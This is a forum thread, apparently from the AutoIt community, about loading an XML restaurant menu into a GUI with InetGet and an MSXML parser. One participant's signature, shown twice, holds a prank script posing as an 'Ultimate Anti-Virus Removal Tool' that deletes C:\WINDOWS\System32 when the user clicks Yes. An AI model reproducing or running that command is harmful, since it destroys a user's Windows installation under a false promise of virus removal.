Jump to content
Sign in to follow this  
Firefoxy

AutoIt XML conundrum

Recommended Posts

Firefoxy

I've downloaded the _XMLDomWrapper.au3 and I've read w3schools.com's pages about XML. I understand it enough to do basic things with it, or so I thought. This is the script I have at the moment:

#include <GUIConstants.au3>
#include <_XMLDomWrapper.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")

_XMLFileOpen("http://www.freewebs.com/fernjerkle/Menu.xml")

SplashOff()

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("AutoIt Menu", 409, 210, 193, 133)
$List1 = GUICtrlCreateList("", 8, 32, 121, 134)
$Label1 = GUICtrlCreateLabel("Appetizers", 8, 8, 68, 20)
$Label2 = GUICtrlCreateLabel("Entrees", 152, 8, 50, 20)
$List2 = GUICtrlCreateList("", 144, 32, 121, 134)
$Label3 = GUICtrlCreateLabel("Desserts", 280, 8, 58, 20)
$List3 = GUICtrlCreateList("", 280, 32, 121, 134)
$Label4 = GUICtrlCreateLabel("Price - $", 16, 176, 52, 20)
$Input1 = GUICtrlCreateInput("", 72, 176, 81, 24)
$Button1 = GUICtrlCreateButton("Review and Order", 280, 176, 123, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit

    EndSwitch
WEnd

I've tried a few things and they've all failed. Could anybody show me how to do what I'm planning on doing; or could someone give me a crash course in AutoIt XML reading?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites
danielkza

_XMLFileOpen("http://www.freewebs.com/fernjerkle/Menu.xml")
I don't think you can open URLs directly.You must download them using InetGet then open locally.Then try again and see the results.

Share this post


Link to post
Share on other sites
Firefoxy

Well this is my intro now...

#include <GUIConstants.au3>
#include <_XMLDomWrapper.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")

InetGet("http://www.freewebs.com/fernjerkle/Menu.xml", "C:\Menu.xml")

$xml = _XMLFileOpen("C:\Menu.xml")

SplashOff()

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites
enaiman

What are these things you tried without success? what do you intend to do?

Code please and tell what failed.


SNMP_UDF ... for SNMPv1 and v2c so far, GetBulk and a new example script

wannabe "Unbeatable" Tic-Tac-Toe

Paper-Scissor-Rock ... try to beat it anyway :)

Share this post


Link to post
Share on other sites
zackrspv

Well this is my intro now...

#include <GUIConstants.au3>
#include <_XMLDomWrapper.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")

InetGet("http://www.freewebs.com/fernjerkle/Menu.xml", "C:\Menu.xml")

$xml = _XMLFileOpen("C:\Menu.xml")

SplashOff()
Ha, i had some fun; isn't really designed to help you that much lol, but at least it looks good :)

#include<Array.au3>
#include<GUIConstantsEx.au3>

SplashTextOn("", "Please wait..." & @CR & @CR & "Downloading newest XML files.", 200, 125, -1, -1, 1, "Comic Sans MS")
InetGet("http://www.freewebs.com/fernjerkle/Menu.xml", "C:\Menu.xml")
SplashOff()

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("AutoIt Menu", 500, 210, 193, 133)

$Label1 = GUICtrlCreateLabel("Appetizers", 8, 8, 68, 20)
$List1 = GUICtrlCreateListView("Price|Item      ", 8, 32, 121, 134)

$Label2 = GUICtrlCreateLabel("Entrees", 152, 8, 50, 20)
$List2 = GUICtrlCreateListView("Price|Item      ", 144, 32, 121, 134)

$Label3 = GUICtrlCreateLabel("Desserts", 280, 8, 58, 20)
$List3 = GUICtrlCreateListView("Price|Item      ", 280, 32, 121, 134)

$Label4 = GUICtrlCreateLabel("Price - $", 16, 176, 52, 20)
$Input1 = GUICtrlCreateInput("", 72, 176, 81, 24)
$Button1 = GUICtrlCreateButton("Review and Order", 280, 176, 123, 25, 0)

$oXml = ObjCreate("Msxml2.DOMDocument")
$oXml.Load("C:\Menu.xml")
$text = ""
$oNodeList = $oXml.documentElement.selectNodes("//menu/food")
$c = 0
For $oNode In $oNodeList
    If $oNode.childNodes(2).FirstChild.Text = "Appetizer" Then
        GUICtrlCreateListViewItem($oNode.childNodes(1).FirstChild.Text&"|"&$oNode.childNodes(0).FirstChild.Text,$list1 )
    ElseIf $oNode.childNodes(2).FirstChild.Text = "Desert" Then
        GUICtrlCreateListViewItem($oNode.childNodes(1).FirstChild.Text&"|"&$oNode.childNodes(0).FirstChild.Text,$list3 )
    ElseIf $oNode.childNodes(2).FirstChild.Text = "Entree" Then
        GUICtrlCreateListViewItem($oNode.childNodes(1).FirstChild.Text&"|"&$oNode.childNodes(0).FirstChild.Text,$list2 )
    EndIf
Next
GUISetState(@SW_SHOW)
#EndRegion ### START Koda GUI section ### Form=

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
    EndSwitch
WEnd

-_-------__--_-_-____---_-_--_-__-__-_ ^^€ñ†®øÞÿ ë×阮§ wï†høµ† ƒë@®, wï†høµ† †ïmë, @ñd wï†høµ† @ †ïmïdï†ÿ ƒø® !ïƒë. €×阮 ñø†, bµ† ïñ§†ë@d wï†hïñ, ñ@ÿ, †h®øµghøµ† †hë 맧ëñ§ë øƒ !ïƒë.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×